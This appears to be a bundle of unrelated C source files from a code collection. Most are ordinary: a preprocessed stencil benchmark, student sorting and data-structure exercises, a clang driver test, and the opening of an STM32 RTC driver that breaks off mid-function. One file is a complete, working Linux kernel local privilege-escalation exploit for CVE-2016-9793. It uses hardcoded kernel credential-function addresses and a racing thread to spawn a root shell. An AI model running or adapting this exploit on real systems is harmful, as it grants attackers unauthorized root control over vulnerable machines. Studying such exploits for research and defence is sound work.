__leaf__)); # 400 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern long double scalbl (long double __x, long double __n) __attribute__ ((__nothrow__ , __leaf__)); extern long double __scalbl (long double __x, long double __n) __attribute__ ((__nothrow__ , __leaf__)); # 351 "/usr/include/math.h" 2 3 4 # 420 "/usr/include/math.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 1 3 4 # 21 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4 extern int __fpclassifyf128 ( # 21 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" float # 21 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4 __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int __signbitf128 ( # 25 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" float # 25 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4 __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int __isinff128 ( # 30 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" float # 30 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4 __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int __finitef128 ( # 33 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" float # 33 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4 __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int __isnanf128 ( # 36 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" float # 36 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4 __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int __iseqsigf128 ( # 39 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" float # 39 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4 __x, # 39 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" float # 39 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4 __y) __attribute__ ((__nothrow__ , __leaf__)); extern int __issignalingf128 ( # 42 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" float # 42 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4 __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); # 421 "/usr/include/math.h" 2 3 4 # 773 "/usr/include/math.h" 3 4 extern int signgam; # 853 "/usr/include/math.h" 3 4 enum { FP_NAN = 0, FP_INFINITE = 1, FP_ZERO = 2, FP_SUBNORMAL = 3, FP_NORMAL = 4 }; # 1338 "/usr/include/math.h" 3 4 # 12 "./stencils/fdtd-2d/fdtd-2d.c" 2 # 1 "utilities/polybench.h" 1 # 188 "utilities/polybench.h" # 188 "utilities/polybench.h" extern void* polybench_alloc_data(int n, int elt_size); # 15 "./stencils/fdtd-2d/fdtd-2d.c" 2 # 1 "./stencils/fdtd-2d/fdtd-2d.h" 1 # 19 "./stencils/fdtd-2d/fdtd-2d.c" 2 static void init_array (int nx, int ny, double ex[1000 + 0][1000 + 0], double ey[1000 + 0][1000 + 0], double hz[1000 + 0][1000 + 0], double _fict_[1000 + 0]) { int i, j; for (i = 0; i < ny; i++) _fict_[i] = (double) i; for (i = 0; i < nx; i++) for (j = 0; j < ny; j++) { ex[i][j] = ((double) i*(j+1)) / nx; ey[i][j] = ((double) i*(j+2)) / ny; hz[i][j] = ((double) i*(j+3)) / nx; } } static void print_array(int nx, int ny, double ex[1000 + 0][1000 + 0], double ey[1000 + 0][1000 + 0], double hz[1000 + 0][1000 + 0]) { int i, j; for (i = 0; i < nx; i++) for (j = 0; j < ny; j++) { fprintf( # 57 "./stencils/fdtd-2d/fdtd-2d.c" 3 4 stderr # 57 "./stencils/fdtd-2d/fdtd-2d.c" , "%0.2lf ", ex[i][j]); fprintf( # 58 "./stencils/fdtd-2d/fdtd-2d.c" 3 4 stderr # 58 "./stencils/fdtd-2d/fdtd-2d.c" , "%0.2lf ", ey[i][j]); fprintf( # 59 "./stencils/fdtd-2d/fdtd-2d.c" 3 4 stderr # 59 "./stencils/fdtd-2d/fdtd-2d.c" , "%0.2lf ", hz[i][j]); if ((i * nx + j) % 20 == 0) fprintf( # 60 "./stencils/fdtd-2d/fdtd-2d.c" 3 4 stderr # 60 "./stencils/fdtd-2d/fdtd-2d.c" , "\n"); } fprintf( # 62 "./stencils/fdtd-2d/fdtd-2d.c" 3 4 stderr # 62 "./stencils/fdtd-2d/fdtd-2d.c" , "\n"); } static void kernel_fdtd_2d(int tmax, int nx, int ny, double ex[1000 + 0][1000 + 0], double ey[1000 + 0][1000 + 0], double hz[1000 + 0][1000 + 0], double _fict_[1000 + 0]) { int t, i, j; #pragma scop for(t = 0; t < tmax; t++) { for (j = 0; j < ny; j++) ey[0][j] = _fict_[t]; for (i = 1; i < nx; i++) for (j = 0; j < ny; j++) ey[i][j] = ey[i][j] - 0.5*(hz[i][j]-hz[i-1][j]); for (i = 0; i < nx; i++) for (j = 1; j < ny; j++) ex[i][j] = ex[i][j] - 0.5*(hz[i][j]-hz[i][j-1]); for (i = 0; i < nx - 1; i++) for (j = 0; j < ny - 1; j++) hz[i][j] = hz[i][j] - 0.7* (ex[i][j+1] - ex[i][j] + ey[i+1][j] - ey[i][j]); } #pragma endscop } int main(int argc, char** argv) { int tmax = 50; int nx = 1000; int ny = 1000; double (*ex)[1000 + 0][1000 + 0]; ex = (double(*)[1000 + 0][1000 + 0])polybench_alloc_data ((1000 + 0) * (1000 + 0), sizeof(double));; double (*ey)[1000 + 0][1000 + 0]; ey = (double(*)[1000 + 0][1000 + 0])polybench_alloc_data ((1000 + 0) * (1000 + 0), sizeof(double));; double (*hz)[1000 + 0][1000 + 0]; hz = (double(*)[1000 + 0][1000 + 0])polybench_alloc_data ((1000 + 0) * (1000 + 0), sizeof(double));; double (*_fict_)[1000 + 0]; _fict_ = (double(*)[1000 + 0])polybench_alloc_data (1000 + 0, sizeof(double));; init_array (nx, ny, *ex, *ey, *hz, *_fict_); ; kernel_fdtd_2d (tmax, nx, ny, *ex, *ey, *hz, *_fict_); ; ; if (argc > 42 && ! strcmp(argv[0], "")) print_array(nx, ny, *ex, *ey, *hz) ; free((void*)ex);; free((void*)ey);; free((void*)hz);; free((void*)_fict_);; return 0; }
the_stack_data/120632.c
int add(int a, int b) { int result; result = a + b; return result; } int main(void) { int a; int b; a = 1; b = 2; if (a < b) { int a; a = b + 1; output(add(a, b)); } }
the_stack_data/151704675.c
// CAP_NET_ADMIN -> root LPE exploit for CVE-2016-9793 // No KASLR, SMEP or SMAP bypass included // Affected kernels: 3.11 -> 4.8 // Tested in QEMU only // https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793 // // Usage: // # gcc -pthread exploit.c -o exploit // # chown guest:guest exploit // # setcap cap_net_admin+ep ./exploit // # su guest // $ whoami // guest // $ ./exploit // [.] userspace payload mmapped at 0xfffff000 // [.] overwriting thread started // [.] sockets opened // [.] sock->sk_sndbuf set to fffffe00 // [.] writing to socket // [+] got r00t // # whoami // root // // Andrey Konovalov <[email protected]> #define _GNU_SOURCE #include <sys/socket.h> #include <sys/stat.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/mman.h> #include <pthread.h> #include <signal.h> #include <stdarg.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define COMMIT_CREDS 0xffffffff81079860ul #define PREPARE_KERNEL_CRED 0xffffffff81079b20ul typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED; void get_root(void) { commit_creds(prepare_kernel_cred(0)); } struct ubuf_info_t { uint64_t callback; // void (*callback)(struct ubuf_info *, bool) uint64_t ctx; // void * uint64_t desc; // unsigned long }; struct skb_shared_info_t { uint8_t nr_frags; // unsigned char uint8_t tx_flags; // __u8 uint16_t gso_size; // unsigned short uint16_t gso_segs; // unsigned short uint16_t gso_type; // unsigned short uint64_t frag_list; // struct sk_buff * uint64_t hwtstamps; // struct skb_shared_hwtstamps uint32_t tskey; // u32 uint32_t ip6_frag_id; // __be32 uint32_t dataref; // atomic_t uint64_t destructor_arg; // void * uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; }; // sk_sndbuf = 0xffffff00 => skb_shinfo(skb) = 0x00000000fffffed0 #define SNDBUF 0xffffff00 #define SHINFO 0x00000000fffffed0ul struct ubuf_info_t ubuf_info = {(uint64_t)&get_root, 0, 0}; //struct ubuf_info_t ubuf_info = {0xffffdeaddeadbeeful, 0, 0}; struct skb_shared_info_t *skb_shared_info = (struct skb_shared_info_t *)SHINFO; #define SKBTX_DEV_ZEROCOPY (1 << 3) void* skb_thr(void* arg) { while (1) { skb_shared_info->destructor_arg = (uint64_t)&ubuf_info; skb_shared_info->tx_flags |= SKBTX_DEV_ZEROCOPY; } } int sockets[2]; void *write_thr(void *arg) { // Write blocks until setsockopt(SO_SNDBUF). write(sockets[1], "\x5c", 1); if (getuid() == 0) { printf("[+] got r00t\n"); execl("/bin/bash", "bash", NULL); perror("execl()"); } printf("[-] something went wrong\n"); } int main() { void *addr; int rv; uint32_t sndbuf; addr = mmap((void *)(SHINFO & 0xfffffffffffff000ul), 0x1000ul, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (addr != (void *)(SHINFO & 0xfffffffffffff000ul)) { perror("mmap()"); exit(EXIT_FAILURE); } printf("[.] userspace payload mmapped at %p\n", addr); pthread_t skb_th; rv = pthread_create(&skb_th, 0, skb_thr, NULL); if (rv != 0) { perror("pthread_create()"); exit(EXIT_FAILURE); } usleep(10000); printf("[.] overwriting thread started\n"); rv = socketpair(AF_LOCAL, SOCK_STREAM, 0, &sockets[0]); if (rv != 0) { perror("socketpair()"); exit(EXIT_FAILURE); } printf("[.] sockets opened\n"); sndbuf = SNDBUF; rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE, &sndbuf, sizeof(sndbuf)); if (rv != 0) { perror("setsockopt()"); exit(EXIT_FAILURE); } printf("[.] sock->sk_sndbuf set to %x\n", SNDBUF * 2); pthread_t write_th; rv = pthread_create(&write_th, 0, write_thr, NULL); if (rv != 0) { perror("pthread_create()"); exit(EXIT_FAILURE); } usleep(10000); printf("[.] writing to socket\n"); // Wake up blocked write. rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf)); if (rv != 0) { perror("setsockopt()"); exit(EXIT_FAILURE); } usleep(10000); close(sockets[0]); close(sockets[1]); return 0; }
the_stack_data/7951147.c
#include <stdio.h> #include <stdlib.h> #include <stdbool.h> bool* kidsWithCandies(int* candies, int candiesSize, int extraCandies, int* returnSize); int main(void){ int candies[] = {2, 3, 5, 1, 3}; int candiesSize = 5; int extraCandies = 3; int returnSize = 0; bool * ans = kidsWithCandies(candies, candiesSize, extraCandies, &returnSize); for (int i = 0; i < returnSize; i++){ printf("%d\t", ans[i]); } printf("\n"); return 0; } // 8 ms, faster than 7.11% of C online submissions for Kids With the Greatest Number of Candies. // 6.6 MB, less than 22.51% of C online submissions for Kids With the Greatest Number of Candies. bool* kidsWithCandies(int* candies, int candiesSize, int extraCandies, int* returnSize){ int i = 0; int max = 0; bool * ans = (bool * ) malloc( sizeof(bool) * candiesSize); *returnSize = candiesSize; for (i = 0; i<candiesSize; i++){ max = max < candies[i] ? candies[i] : max; candies[i] += extraCandies; } for (i = 0; i < candiesSize; i++){ if ((candies[i] -= max) < 0) ans[i] = false; else ans[i] = true; } return ans; }
the_stack_data/1170714.c
#include <stdio.h> int main() { double a,b,c,*x,*y; scanf("%lf%lf",&a,&b); x=&a; y=&b; printf("sum is %.3lf\n",(*x)/(*y)); return 0; }
the_stack_data/1239533.c
#include<stdio.h> #define MAXLINE 1000 int read_input(char input[], int lim); void remove_comments(char input[], int lim); void copy(char from[], char to[]); int main(){ int len; char input[MAXLINE]; while ((len = read_input(input, MAXLINE)) > 0){ printf("Original:\n\n%s\n", input); remove_comments(input, MAXLINE); printf("\nUncommented:\n\n%s\n", input); } } int read_input(char input[], int lim){ int i, c; for (i = 0; i < lim - 1 && (c = getchar()) != EOF; i++){ input[i] = c; } input[i] = '\0'; return i; } void remove_comments(char input[], int lim){ int i, j; // index for input and temp string, respectively int c; // variable for iterating character-wise char tmp[lim]; int in_block = 0; i = j = 0; while ((c = input[i++]) != '\0'){ if (c == '\"'){ tmp[j++] = '\"'; while ((c = input[i++]) != '\"') tmp[j++] = c; tmp[j++] = '\"'; } else if (c == '/'){ c = input[i++]; if (c == '*'){ in_block = 1; } else if (c == '/') while ((c = input[i]) != '\n') i++; } else if (in_block){ if (c == '*' && (c = input[i++] == '/')) in_block = 0; } else{ tmp[j++] = c; } } copy(tmp, input); } void copy(char from[], char to[]){ int i = 0; while ((to[i] = from[i]) != '\0') i++; }
the_stack_data/21632.c
/* print longest input line */ #include <stdio.h> #define MAXLINE 1000 #define MINLINE 80 int xgetline(char line[], int maxline); void copy(char to[], char from[]); main() { int len; /* current line length */ char line[MAXLINE]; /* current input line */ while ((len = xgetline(line, MAXLINE)) > 0) if (len > MINLINE) printf("%s", line); return 0; } /* xgetline: read a line into s, return length */ int xgetline(char s[], int maxline) { int c, i; for (i = 0; i < maxline - 1 && (c = getchar()) != EOF && c != '\n'; ++i) s[i] = c; if (c == '\n') { s[i] = c; ++i; } s[i] = '\0'; if (c != '\n') { while ((c = getchar()) != EOF && c != '\n') ++i; if (c == '\n') ++i; } return i; }
the_stack_data/148577754.c
// RUN: %clang -target aarch64-none-gnu -fcall-saved-x8 -### %s 2>&1 \ // RUN: | FileCheck --check-prefix=CHECK-CALL-SAVED-X8 %s // RUN: %clang -target aarch64-none-gnu -fcall-saved-x9 -### %s 2>&1 \ // RUN: | FileCheck --check-prefix=CHECK-CALL-SAVED-X9 %s // RUN: %clang -target aarch64-none-gnu -fcall-saved-x10 -### %s 2>&1 \ // RUN: | FileCheck --check-prefix=CHECK-CALL-SAVED-X10 %s // RUN: %clang -target aarch64-none-gnu -fcall-saved-x11 -### %s 2>&1 \ // RUN: | FileCheck --check-prefix=CHECK-CALL-SAVED-X11 %s // RUN: %clang -target aarch64-none-gnu -fcall-saved-x12 -### %s 2>&1 \ // RUN: | FileCheck --check-prefix=CHECK-CALL-SAVED-X12 %s // RUN: %clang -target aarch64-none-gnu -fcall-saved-x13 -### %s 2>&1 \ // RUN: | FileCheck --check-prefix=CHECK-CALL-SAVED-X13 %s // RUN: %clang -target aarch64-none-gnu -fcall-saved-x14 -### %s 2>&1 \ // RUN: | FileCheck --check-prefix=CHECK-CALL-SAVED-X14 %s // RUN: %clang -target aarch64-none-gnu -fcall-saved-x15 -### %s 2>&1 \ // RUN: | FileCheck --check-prefix=CHECK-CALL-SAVED-X15 %s // RUN: %clang -target aarch64-none-gnu -fcall-saved-x18 -### %s 2>&1 \ // RUN: | FileCheck --check-prefix=CHECK-CALL-SAVED-X18 %s // Test all call-saved-x# options together. // RUN: %clang -target aarch64-none-gnu \ // RUN: -fcall-saved-x8 \ // RUN: -fcall-saved-x9 \ // RUN: -fcall-saved-x10 \ // RUN: -fcall-saved-x11 \ // RUN: -fcall-saved-x12 \ // RUN: -fcall-saved-x13 \ // RUN: -fcall-saved-x14 \ // RUN: -fcall-saved-x15 \ // RUN: -fcall-saved-x18 \ // RUN: -### %s 2>&1 | FileCheck %s \ // RUN: --check-prefix=CHECK-CALL-SAVED-X8 \ // RUN: --check-prefix=CHECK-CALL-SAVED-X9 \ // RUN: --check-prefix=CHECK-CALL-SAVED-X10 \ // RUN: --check-prefix=CHECK-CALL-SAVED-X11 \ // RUN: --check-prefix=CHECK-CALL-SAVED-X12 \ // RUN: --check-prefix=CHECK-CALL-SAVED-X13 \ // RUN: --check-prefix=CHECK-CALL-SAVED-X14 \ // RUN: --check-prefix=CHECK-CALL-SAVED-X15 \ // RUN: --check-prefix=CHECK-CALL-SAVED-X18 // CHECK-CALL-SAVED-X8: "-target-feature" "+call-saved-x8" // CHECK-CALL-SAVED-X9: "-target-feature" "+call-saved-x9" // CHECK-CALL-SAVED-X10: "-target-feature" "+call-saved-x10" // CHECK-CALL-SAVED-X11: "-target-feature" "+call-saved-x11" // CHECK-CALL-SAVED-X12: "-target-feature" "+call-saved-x12" // CHECK-CALL-SAVED-X13: "-target-feature" "+call-saved-x13" // CHECK-CALL-SAVED-X14: "-target-feature" "+call-saved-x14" // CHECK-CALL-SAVED-X15: "-target-feature" "+call-saved-x15" // CHECK-CALL-SAVED-X18: "-target-feature" "+call-saved-x18"
the_stack_data/129383.c
#include <stdio.h> int main () { int lado; float resultado; printf( "Ingresa los lados del triangulo para calcular el perimetro: "); scanf( "%d", &lado ); resultado = lado * 3; printf( "\nEl perimetro de un triangulo equilatero de %d centimetros por lado da por resultado: %.2f\n", lado, resultado); return 0; }
the_stack_data/190767457.c
#include<stdio.h> int *quicksort(int arr[],int low,int high); int partition(int arr[],int low,int high); int main(){ int *arr,n,i; printf("Enter the number of elements : "); scanf("%d",&n); arr= calloc(n,sizeof(int)); for(i=0;i<n;i++){ printf("Element %d = ",i); scanf("%d",&arr[i]); } int low=0,high=n-1; arr=quicksort(arr,low,high); int number,flag=0; printf("Enter the number to find the position : "); scanf("%d",&number); for(i=0;i<n;i++){ if(number==arr[i]){ printf("Position of the element : %d ",i+1); flag=1; } } if(flag==0) printf("-1"); return 0; } int partition(int arr[],int low,int high){ int pivot=arr[high],pindex=0,temp; for(int i=0;i<high;i++){ if(arr[i]<pivot){ temp=arr[pindex]; arr[pindex]=arr[i]; arr[i]=temp; pindex++; } } temp=arr[high]; arr[high]=arr[pindex]; arr[pindex]=temp; return pindex; } int *quicksort(int arr[],int low,int high){ if(low<high){ int pindex=partition(arr,low,high); quicksort(arr,low,pindex-1); quicksort(arr,pindex+1,high); } return arr; }
the_stack_data/1099227.c
#include<stdio.h> #include<stdlib.h> void display( int *num , int size ) { int i; for( i = 0; i < size; i++ ) { printf("{%d} ",num[i]); } printf("\n"); } int reduction( int A[] , int BEG , int END ) { int LEFT , RIGHT , TEMP , LOC; LEFT = LOC = BEG; RIGHT = END; while( 1 ) { while( A[LOC] <= A[RIGHT] && LOC != RIGHT ) { RIGHT = RIGHT - 1 ; } if( LOC == RIGHT ) { break; } if( A[LOC] > A[RIGHT] ) { TEMP = A[LOC]; A[LOC] = A[RIGHT]; A[RIGHT] = TEMP; LOC = RIGHT; } while( A[LEFT] <= A[LOC] && LOC != LEFT ) { LEFT = LEFT + 1 ; } if( LOC == LEFT ) { break; } if( A[LEFT] > A[LOC] ) { TEMP = A[LOC]; A[LOC] = A[LEFT]; A[LEFT] = TEMP; LOC = LEFT; } } return LOC; } void quick_sort( int A[] , int BEG , int END ) { int LOC; LOC = reduction( A , BEG , END ); if( BEG < LOC - 1 ) { quick_sort( A , BEG , LOC - 1); } if( LOC + 1 < END ) { quick_sort( A , LOC + 1 , END ); } } int main() { int *num; int size , i; printf("\n Enter The Size of An Array : "); scanf("%d",&size); num = (int*)calloc(sizeof(int) , size ); for( i = 0; i < size; i++ ) { num[i] = rand() % 100; } printf("\n Array Elements \n"); display( num , size ); quick_sort( num , 0 , size - 1 ); printf("\n After Quick Sort,Array Elements \n"); display( num , size ); return 0; }
the_stack_data/234519054.c
#include <stdlib.h> #include <stdio.h> #define HEAP_MAX_SIZE 100 /* * Heap 大根堆(完全二叉树) * 适合顺序存储 * 下滑法 * V > L > R * * */ // 节点 typedef struct Node { int data; // } Node; Node *newNode(int value){ Node *node = (Node *)malloc(sizeof(Node)); if(node==NULL){ fprintf(stderr,"No more Memory!"); exit(-1); } node->data=value; return node; } void printNode(Node *node){ printf("\t%d",node->data); } // 顺序存储堆 typedef struct Heap { int size; Node *heap[HEAP_MAX_SIZE]; // 大根堆 } Heap; Heap *newHeap(){ Heap *heap = (Heap *)malloc(sizeof(Heap)); if(heap==NULL){ fprintf(stderr,"No more Memory!"); exit(-1); } heap->size=0; return heap; } // int empty(Heap *heap){ if(heap->size==0){ return 1; } return 0; } int full(Heap *heap){ if(heap->size==HEAP_MAX_SIZE){ return 1; } return 0; } // 把新节点放至位置n+1,从第n+1个位置上滑至合适位置(满足父亲大于孩子) void push(Heap *heap,Node *node){ if(full(heap)){ fprintf(stderr,"Heap is Full!"); exit(-1); } heap->size++; int i = heap->size; while (i!=1 && node->data>heap->heap[i/2]->data){ heap->heap[i] = heap->heap[i/2]; i = i/2; } heap->heap[i] = node; } // 删除根,第n个元素 从根下滑至合适位置(满足父亲大于孩子) Heap *pop(Heap *heap){ if(empty(heap)){ fprintf(stderr,"Heap is Empty!"); exit(-1); } int i = 1; Node *tmp = heap->heap[heap->size]; heap->size--; heap->heap[1]=tmp; int parent = 1; int child = 2; while (child<=heap->size){ if(child<heap->size && heap->heap[child]->data<heap->heap[child+1]->data){ child = child+1; } if(tmp->data > heap->heap[child]->data){ break; } heap->heap[parent] = heap->heap[child]; parent = child; child = child*2; } heap->heap[parent] = tmp; return heap; } void printHeap(Heap *heap){ printf("\nHeap:"); int i=1; for (i=1;i<=heap->size;i++){ printNode(heap->heap[i]); printf(",%d",i); } } int main(){ Heap *heap = newHeap(); push(heap,newNode(2)); printHeap(heap); push(heap,newNode(3)); push(heap,newNode(4)); push(heap,newNode(7)); push(heap,newNode(9)); push(heap,newNode(8)); printHeap(heap); pop(heap); printHeap(heap); }
the_stack_data/137147.c
#include<stdio.h> #include<stdlib.h> struct node{ int item; struct node *left; struct node *right; }; struct node* build_node(int data){ struct node *new_node = (struct node*)malloc(sizeof(struct node)); new_node->item = data; new_node->left = NULL; new_node->right = NULL; return new_node; } void printLeafNodes(struct node * root){ if(root==NULL){ return; } else if((root->left == NULL) && (root->right == NULL)){ printf("%d",root->item); } else{ printLeafNodes(root->left); printLeafNodes(root->right); } } int main(){ struct node* root = build_node(1); root->left = build_node(2); root->right = build_node(3); root->left->left = build_node(4); root->left->right = build_node(5); root->right->left = build_node(6); root->right->right = build_node(7); root->right->right->left = build_node(8); printLeafNodes(root); }
the_stack_data/215767843.c
#include <stdio.h> //#include <stdlib.h> /* (C) 2014, MIT license, "selection_sort.c" , C. Graff */ void print_array(unsigned long *, int); void exchange(unsigned long *, unsigned long *); void selection_sort(unsigned long *, unsigned long); int main() { unsigned long c = 0; unsigned long elements = 100000; unsigned long *numray = malloc(elements * sizeof(unsigned long)); srandom(time(NULL)); for (; c < elements ; c++) numray[c] = (random () % 9999999999) * 1000000000000000000; print_array(numray, elements); printf("====================\n"); selection_sort(numray, elements); print_array(numray, elements); return 0; } void selection_sort(unsigned long *numray, unsigned long n) { unsigned long posit, c, d; for ( c = 0 ; c < ( n - 1 ) ; c++ ) { posit = c; for ( d = c + 1 ; d < n ; d++ ) if ( numray[posit] > numray[d] ) posit = d; if ( posit != c ) exchange(&numray[c], &numray[posit]); } } void exchange(unsigned long *a, unsigned long *b) { unsigned long cache = *a; *a = *b; *b = cache; } void print_array(unsigned long *a, int b) { int c; for (c=0 ; c < b ; c++) printf("%lu\n", a[c]); }
the_stack_data/110601.c
/** ****************************************************************************** * @file stm32l0xx_ll_rtc.c * @author MCD Application Team * @brief RTC LL module driver. ****************************************************************************** * @attention * * <h2><center>&copy; Copyright (c) 2016 STMicroelectronics. * All rights reserved.</center></h2> * * This software component is licensed by ST under BSD 3-Clause license, * the "License"; You may not use this file except in compliance with the * License. You may obtain a copy of the License at: * opensource.org/licenses/BSD-3-Clause * ****************************************************************************** */ #if defined(USE_FULL_LL_DRIVER) /* Includes ------------------------------------------------------------------*/ #include "stm32l0xx_ll_rtc.h" #include "stm32l0xx_ll_cortex.h" #ifdef USE_FULL_ASSERT #include "stm32_assert.h" #else #define assert_param(expr) ((void)0U) #endif /** @addtogroup STM32L0xx_LL_Driver * @{ */ #if defined(RTC) /** @addtogroup RTC_LL * @{ */ /* Private types -------------------------------------------------------------*/ /* Private variables ---------------------------------------------------------*/ /* Private constants ---------------------------------------------------------*/ /** @addtogroup RTC_LL_Private_Constants * @{ */ /* Default values used for prescaler */ #define RTC_ASYNCH_PRESC_DEFAULT 0x0000007FU #define RTC_SYNCH_PRESC_DEFAULT 0x000000FFU /* Values used for timeout */ #define RTC_INITMODE_TIMEOUT 1000U /* 1s when tick set to 1ms */ #define RTC_SYNCHRO_TIMEOUT 1000U /* 1s when tick set to 1ms */ /** * @} */ /* Private macros ------------------------------------------------------------*/ /** @addtogroup RTC_LL_Private_Macros * @{ */ #define IS_LL_RTC_HOURFORMAT(__VALUE__) (((__VALUE__) == LL_RTC_HOURFORMAT_24HOUR) \ || ((__VALUE__) == LL_RTC_HOURFORMAT_AMPM)) #define IS_LL_RTC_ASYNCH_PREDIV(__VALUE__) ((__VALUE__) <= 0x7FU) #define IS_LL_RTC_SYNCH_PREDIV(__VALUE__) ((__VALUE__) <= 0x7FFFU) #define IS_LL_RTC_FORMAT(__VALUE__) (((__VALUE__) == LL_RTC_FORMAT_BIN) \ || ((__VALUE__) == LL_RTC_FORMAT_BCD)) #define IS_LL_RTC_TIME_FORMAT(__VALUE__) (((__VALUE__) == LL_RTC_TIME_FORMAT_AM_OR_24) \ || ((__VALUE__) == LL_RTC_TIME_FORMAT_PM)) #define IS_LL_RTC_HOUR12(__HOUR__) (((__HOUR__) > 0U) && ((__HOUR__) <= 12U)) #define IS_LL_RTC_HOUR24(__HOUR__) ((__HOUR__) <= 23U) #define IS_LL_RTC_MINUTES(__MINUTES__) ((__MINUTES__) <= 59U) #define IS_LL_RTC_SECONDS(__SECONDS__) ((__SECONDS__) <= 59U) #define IS_LL_RTC_WEEKDAY(__VALUE__) (((__VALUE__) == LL_RTC_WEEKDAY_MONDAY) \ || ((__VALUE__) == LL_RTC_WEEKDAY_TUESDAY) \ || ((__VALUE__) == LL_RTC_WEEKDAY_WEDNESDAY) \ || ((__VALUE__) == LL_RTC_WEEKDAY_THURSDAY) \ || ((__VALUE__) == LL_RTC_WEEKDAY_FRIDAY) \ || ((__VALUE__) == LL_RTC_WEEKDAY_SATURDAY) \ || ((__VALUE__) == LL_RTC_WEEKDAY_SUNDAY)) #define IS_LL_RTC_DAY(__DAY__) (((__DAY__) >= 1U) && ((__DAY__) <= 31U)) #define IS_LL_RTC_MONTH(__MONTH__) (((__MONTH__) >= 1U) && ((__MONTH__) <= 12U)) #define IS_LL_RTC_YEAR(__YEAR__) ((__YEAR__) <= 99U) #define IS_LL_RTC_ALMA_MASK(__VALUE__) (((__VALUE__) == LL_RTC_ALMA_MASK_NONE) \ || ((__VALUE__) == LL_RTC_ALMA_MASK_DATEWEEKDAY) \ || ((__VALUE__) == LL_RTC_ALMA_MASK_HOURS) \ || ((__VALUE__) == LL_RTC_ALMA_MASK_MINUTES) \ || ((__VALUE__) == LL_RTC_ALMA_MASK_SECONDS) \ || ((__VALUE__) == LL_RTC_ALMA_MASK_ALL)) #define IS_LL_RTC_ALMB_MASK(__VALUE__) (((__VALUE__) == LL_RTC_ALMB_MASK_NONE) \ || ((__VALUE__) == LL_RTC_ALMB_MASK_DATEWEEKDAY) \ || ((__VALUE__) == LL_RTC_ALMB_MASK_HOURS) \ || ((__VALUE__) == LL_RTC_ALMB_MASK_MINUTES) \ || ((__VALUE__) == LL_RTC_ALMB_MASK_SECONDS) \ || ((__VALUE__) == LL_RTC_ALMB_MASK_ALL)) #define IS_LL_RTC_ALMA_DATE_WEEKDAY_SEL(__SEL__) (((__SEL__) == LL_RTC_ALMA_DATEWEEKDAYSEL_DATE) || \ ((__SEL__) == LL_RTC_ALMA_DATEWEEKDAYSEL_WEEKDAY)) #define IS_LL_RTC_ALMB_DATE_WEEKDAY_SEL(__SEL__) (((__SEL__) == LL_RTC_ALMB_DATEWEEKDAYSEL_DATE) || \ ((__SEL__) == LL_RTC_ALMB_DATEWEEKDAYSEL_WEEKDAY)) /** * @} */ /* Private function prototypes -----------------------------------------------*/ /* Exported functions --------------------------------------------------------*/ /** @addtogroup RTC_LL_Exported_Functions * @{ */ /** @addtogroup RTC_LL_EF_Init * @{ */ /** * @brief De-Initializes the RTC registers to their default reset values. * @note This function doesn't reset the RTC Clock source and RTC Backup Data * registers. * @param RTCx RTC Instance * @retval An ErrorStatus enumeration value: * - SUCCESS: RTC registers are de-initialized * - ERROR: RTC registers are not de-initialized */ ErrorStatus LL_RTC_DeInit(RTC_TypeDef *RTCx) { ErrorStatus status = ERROR; /* Check the parameter */ assert_param(IS_RTC_ALL_INSTANCE(RTCx)); /* Disable the write protection for RTC registers */ LL_RTC_DisableWriteProtection(RTCx); /* Set Initialization mode */ if (LL_RTC_EnterInitMode(RTCx) != ERROR) { /* Reset TR, DR and CR registers */ WRITE_REG(RTCx->TR, 0x00000000U); #if defined(RTC_WAKEUP_SUPPORT) WRITE_REG(RTCx->WUTR, RTC_WUTR_WUT); #endif /* RTC_WAKEUP_SUPPORT */ WRITE_REG(RTCx->DR, (RTC_DR_WDU_0 | RTC_DR_MU_0 | RTC_DR_DU_0)); /* Reset All CR bits except CR[2:0] */ #if defined(RTC_WAKEUP_SUPPORT) WRITE_REG(RTCx->CR, (READ_REG(RTCx->CR) & RTC_CR_WUCKSEL)); #else 